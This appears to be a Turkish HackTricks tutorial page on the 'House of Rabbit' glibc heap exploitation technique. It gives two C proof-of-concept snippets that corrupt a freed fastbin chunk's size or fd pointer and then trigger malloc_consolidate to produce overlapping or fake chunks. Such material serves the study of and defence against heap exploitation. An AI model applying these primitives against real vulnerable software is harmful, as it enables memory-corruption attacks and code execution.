5 KiB
Tavşan Evi
{% hint style="success" %}
AWS Hacking'i öğrenin ve uygulayın: HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)
GCP Hacking'i öğrenin ve uygulayın: HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)
HackTricks'i Destekleyin
- Abonelik planlarını kontrol edin!
- 💬 Discord grubuna katılın veya telegram grubuna katılın veya bizi Twitter 🐦 @hacktricks_live** takip edin.**
- Hacking püf noktalarını paylaşarak PR'ler göndererek HackTricks ve HackTricks Cloud github depolarına katkıda bulunun.
Gereksinimler
- Hızlı bin fd işaretçisini veya boyutunu değiştirme yeteneği: Bu, bir parçanın hızlı bindeki ileri işaretçisini veya boyutunu değiştirebileceğiniz anlamına gelir.
malloc_consolidate
'i tetikleme yeteneği: Bu, ya büyük bir parça tahsis edilerek ya da üst parçanın birleştirilerek yapılabilir, bu da parçaları birleştirmeye zorlar.
Hedefler
- Üst üste gelen parçalar oluşturmak: Bir parçanın başka bir parçayla örtüşmesine izin vererek daha fazla heap manipülasyonu yapılmasını sağlamak.
- Sahte parçalar oluşturmak: Yalancı bir parçayı yasal bir parça gibi göstererek tahsisat işlemleri sırasında tahsisatçıyı kandırmak.
Saldırı Adımları
POC 1: Hızlı bin parça boyutunu değiştirme
Amaç: Bir hızlı bin parçasının boyutunu manipüle ederek üst üste gelen bir parça oluşturmak.
- Adım 1: Parçalar Tahsis Etme
unsigned long* chunk1 = malloc(0x40); // Allocates a chunk of 0x40 bytes at 0x602000
unsigned long* chunk2 = malloc(0x40); // Allocates another chunk of 0x40 bytes at 0x602050
malloc(0x10); // Allocates a small chunk to change the fastbin state
- Adım 2: Parçaları Serbest Bırakın
free(chunk1); // Frees the chunk at 0x602000
free(chunk2); // Frees the chunk at 0x602050
- Adım 3: Parça Boyutunu Değiştirme
chunk1[-1] = 0xa1; // Modify the size of chunk1 to 0xa1 (stored just before the chunk at chunk1[-1])
- Adım 4:
malloc_consolidate
'yi Tetikleyin
malloc(0x1000); // Allocate a large chunk to trigger heap consolidation
Büyük bir parça ayırmak, küçük parçaları hızlı kutuya birleştiren malloc_consolidate
işlevini tetikler. chunk1
'in manipüle edilen boyutu, chunk2
ile örtüşmesine neden olur.
Konsolidasyondan sonra, chunk1
, chunk2
ile örtüşerek daha fazla sömürüye izin verir.
POC 2: fd
işaretçisini değiştirme
Amaç: Hızlı kutu fd
işaretçisini manipüle ederek sahte bir parça oluşturmak.
- Adım 1: Parçaları Ayırma
unsigned long* chunk1 = malloc(0x40); // Allocates a chunk of 0x40 bytes at 0x602000
unsigned long* chunk2 = malloc(0x100); // Allocates a chunk of 0x100 bytes at 0x602050
Açıklama: Sahte bloğu oluşturmak için daha küçük ve daha büyük olmak üzere iki blok tahsis ediyoruz.
- Adım 2: Sahte blok oluştur
chunk2[1] = 0x31; // Fake chunk size 0x30
chunk2[7] = 0x21; // Next fake chunk
chunk2[11] = 0x21; // Next-next fake chunk
- Adım 3:
chunk1
'i serbest bırakın
free(chunk1); // Frees the chunk at 0x602000
Açıklama: chunk1
'i serbest bırakıyoruz, onu fastbin listesine ekliyoruz.
- Adım 4:
chunk1
'infd
'sini değiştirin
chunk1[0] = 0x602060; // Modify the fd of chunk1 to point to the fake chunk within chunk2
Açıklama: chunk1
'in ileri işaretçisini (fd
) chunk2
içindeki sahte parçaya işaret edecek şekilde değiştiriyoruz.
- Adım 5:
malloc_consolidate
'i Tetikle
malloc(5000); // Allocate a large chunk to trigger heap consolidation
Büyük bir parça yeniden tahsis edildiğinde malloc_consolidate
tetiklenir, sahte parça işlenir.
Sahte parça, hızlı parça listesinin bir parçası haline gelir, bu da onu daha fazla istismar için geçerli bir parça haline getirir.
Özet
House of Rabbit tekniği, ya hızlı bir parça parçasının boyutunu değiştirerek örtüşen parçalar oluşturmayı ya da sahte parçalar oluşturmak için fd
işaretçisini manipüle etmeyi içerir. Bu saldırganlara yığın içinde meşru parçalar oluşturma imkanı tanır ve çeşitli istismar biçimlerini mümkün kılar. Bu adımları anlamak ve uygulamak, yığın istismarı becerilerinizi geliştirecektir.